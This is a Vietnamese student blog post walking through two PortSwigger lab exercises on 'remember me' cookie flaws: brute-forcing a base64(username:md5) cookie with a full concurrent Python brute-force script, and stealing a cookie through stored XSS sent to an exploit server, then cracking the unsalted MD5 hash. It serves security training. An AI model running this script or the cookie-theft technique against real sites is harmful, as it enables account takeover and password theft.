Chuyển đến nội dung chính
  1. Nghiên cứu & Ghi chép kỹ thuật/

Lỗ hổng xác thực (các cơ chế xác thực khác)

·967 từ·5 phút
Nguyễn Hoàng Thanh Phong
Tác giả
Nguyễn Hoàng Thanh Phong
Sinh viên năm cuối ngành An toàn thông tin tại Đại học FPT. Chuyên nghiên cứu khai thác lỗ hổng bảo mật Web, kiến trúc bảo mật AWS và các công cụ tự động hóa
Web Security Iaw301 - Bài viết này là một phần của loạt bài.
Phần 5: Bài viết này

Kiến thức cần biết
#

  • Bên cạnh trang đăng nhập chính, tính năng “Ghi nhớ đăng nhập” (Remember me) thường tồn tại nhiều lỗ hổng do quản lý cookie lỏng lẻo. Kẻ tấn công có thể tự tạo tài khoản để nghiên cứu hoặc dùng XSS đánh cắp cookie, từ đó phát hiện các điểm yếu như token được lập trình theo quy tắc quá dễ đoán (ghép username với timestamp), mã hóa yếu (như Base64), hoặc dùng hàm băm nhưng thiếu chuỗi ngẫu nhiên (Salt). Từ những sơ hở này, chúng dễ dàng dò quét (brute-force) để giả mạo cookie chiếm quyền truy cập của nạn nhân, hoặc nguy hiểm hơn là tra cứu ngược các mã băm không có Salt trên internet để lấy trực tiếp mật khẩu gốc (cleartext).

1. Brute-forcing cookie ghi nhớ đăng nhập#

  1. Truy cập vào trang chủ bài Lab: https://[LAB-ID].web-security-academy.net/. Trong bài lab này, chúng ta được cung cấp một số thông tin sau:
  • Thông tin đăng nhập của chúng ta: wiener:peter
  • Tên người dùng của nạn nhân: carlos
Trang chủ bài lab
  1. Thử đăng nhập vào tài khoản Wiener (có bật Stay logged in).
Tài khoản Wiener
Cookie của tài khoản
  1. Chúng ta có thể nhận thấy rằng: “Ngoài Set-cookie cho phiên đăng nhập hiện tại của chúng ta, server còn Set-cookie cho ghi nhớ đăng nhập các lần sau”. Double-click vào chuỗi stay-logged-in, chúng ta có thể biết được chuỗi được encode bằng Base64 từ chuỗi: wiener:51dc30ddc473d43a6011e9ebba6ca770
Decoded stay-logged-in cookie
  1. Chuỗi 51dc30ddc473d43a6011e9ebba6ca770 rất có thể là chuỗi băm md5 của mật khẩu peter, để đảm bảo thì chúng ta sẽ băm thử.
Chuỗi băm md5 của mật khẩu peter
  1. Chúng ta cũng nên kiểm tra xem liệu chỉ cần 1 mình stay-logged-in cookie là đủ để đăng nhập chưa.
Kiểm tra xác thực cookie
  1. Vậy thì để đăng nhập vào tài khoản carlos, chúng ta chỉ cần brute force stay-logged-in cookie được encode base64 từ chuỗi carlos:md5hash.
Brute force cookie thành công
  1. Chuột phải vào request -> Request in browser -> In current browser session, copy url và dán vào browser firefox
Thành công
  1. Tất cả các bước trên cũng có thể được thực hiện tự động bằng đoạn code python sau
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
from concurrent.futures import ProcessPoolExecutor
import os
import asyncio
import multiprocessing
import hashlib
import base64
from urllib.parse import urljoin, urlparse
from curl_cffi.requests import AsyncSession, Session

class BruteForceCookie:
    def __init__(self, username: str, base_url: str, path: str):
        self.valid_user = 'wiener'
        self.valid_pass = 'peter'
        self.username = username
        self.base_url = base_url
        self.cookies = None
        self.queue = asyncio.Queue(maxsize=1000)
        self.target_url = urljoin(base_url, path)
        self.lock = asyncio.Lock()
        self.stop_event = asyncio.Event()
        self.CONCURRENCY = 50
        self.BATCH_SIZE = 1000
        self.CPU_COUNT = max(1, multiprocessing.cpu_count()*3//4)

    @staticmethod
    def create_cookies(username:str, password: str):
        try:
            md5_hash = hashlib.md5(password.encode('latin-1')).hexdigest()
            cookie = f"{username}:{md5_hash}"
            b64_str = base64.b64encode(cookie.encode('latin-1')).decode()
            return password, b64_str
        except Exception:
            return None

    async def __check_cookies(self, session: AsyncSession):
        while True:
            try:
                password = await asyncio.wait_for(self.queue.get(), timeout=0.2)
            except asyncio.TimeoutError:
                if self.stop_event.is_set():
                    return
                continue

            try:
                password, b64_cookie = self.create_cookies(self.username, password)
                if self.stop_event.is_set():
                    return

                cookie = {"stay-logged-in": b64_cookie}
                resp = await session.get(self.target_url, cookies=cookie, allow_redirects=False)

                if resp.status_code == 200:
                    async with self.lock:
                        if not self.stop_event.is_set():
                            self.stop_event.set()
                            print("\n=== Brute Force Successfully ===")
                            print(f"- Username: {self.username}")
                            print(f"- Password: {password}")
                            return
            except Exception:
                pass
            finally:
                self.queue.task_done()
                if not self.stop_event.is_set():
                    print(f"\rChecking... {password[:10]}", end="", flush=True)

    async def main(self, file_path: str):
        async with AsyncSession(impersonate="chrome142") as session:
            tasks = [
                asyncio.create_task(self.__check_cookies(session))
                for _ in range(self.CONCURRENCY)
            ]

            try:
                with open(file_path, "r", encoding="latin-1", errors="ignore") as f:
                    for line in f:
                        if self.stop_event.is_set():
                            break
                        password = line.strip()
                        if not password:
                            continue

                        while not self.stop_event.is_set():
                            try:
                                await asyncio.wait_for(self.queue.put(password), timeout=0.2)
                                break
                            except asyncio.TimeoutError:
                                continue

                await self.queue.join()
            finally:
                self.stop_event.set()
                for t in tasks:
                    t.cancel()
                await asyncio.gather(*tasks, return_exceptions=True)

if __name__ == "__main__":
    base_url = input("Enter your lab's base url: ")
    username = input("Enter the victim's username: ")
    filepass = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'password_candidate.txt')
    bot = BruteForceCookie(username, base_url, "/my-account")
    try:
        asyncio.run(bot.main(filepass))
    except Exception as e:
        print(f"[ERROR] {e}")
    
    print("=== END ===")
  1. Kết quả đầu ra của code
Kết quả code đầu ra
Thành công

2. Bẻ khóa mật khẩu ngoại tuyến
#

  1. Truy cập vào trang chủ bài lab: https://[LAB-ID].web-security-academy.net/. Trong bài lab này, chúng ta được cung cấp các thông tin sau:
  • Thông tin đăng nhập của chúng ta: wiener:peter
  • Thông tin đăng nhập của nạn nhân: carlos
Trang chủ bài lab
  1. Thử đăng nhập vào tài khoản Wiener có bật stay-logged-in để kiểm tra cookie của trang web có gì đặc biệt.
Cookie có chứa hash không salt của mật khẩu
  1. Thử chèn các payload xss alert vào để kiểm tra xem trang web có tồn tại lỗ hổng xss hay không. Nếu có thì nó tồn tại ở trường nào của trang web.
Kiểm tra lỗ hổng XSS
Có XSS tại trường comment
  1. Có tồn tại XSS tại trường comment, chúng ta có thể dùng các code javascript liên quan đến http request để lấy cookie stay-logged-in của Carlos.
Dùng fetch để gửi cookie về exploit server
  1. Truy cập vào Access Log của exploit server, chúng ta sẽ thấy có 2 cookie được request về: 1 cái là cookie của Wiener, 1 cái là của Carlos.
Lấy được cookie
  1. Chúng ta sẽ lấy cookie của carlos về bẻ khóa offline để lấy mật khẩu. Trong trường hợp này, chúng ta không thể lấy trực tiếp cookie stay-logged-in của Carlos để đăng nhập được vì có cookie secret chống brute force. Thứ hai, chúng ta cũng cần mật khẩu để có thể xóa tài khoản của Carlos
Cần mật khẩu mới xóa được tài khoản
  1. Chúng ta sẽ dùng CrackStation để bẻ khóa mã băm md5 này.
Kết quả bẻ khóa md5
  1. Lấy được mật khẩu rồi thì chúng ta đã có thể đăng nhập và xóa tài khoản để hoàn thành bài lab.
Xóa tài khoản thành công
Web Security Iaw301 - Bài viết này là một phần của loạt bài.
Phần 5: Bài viết này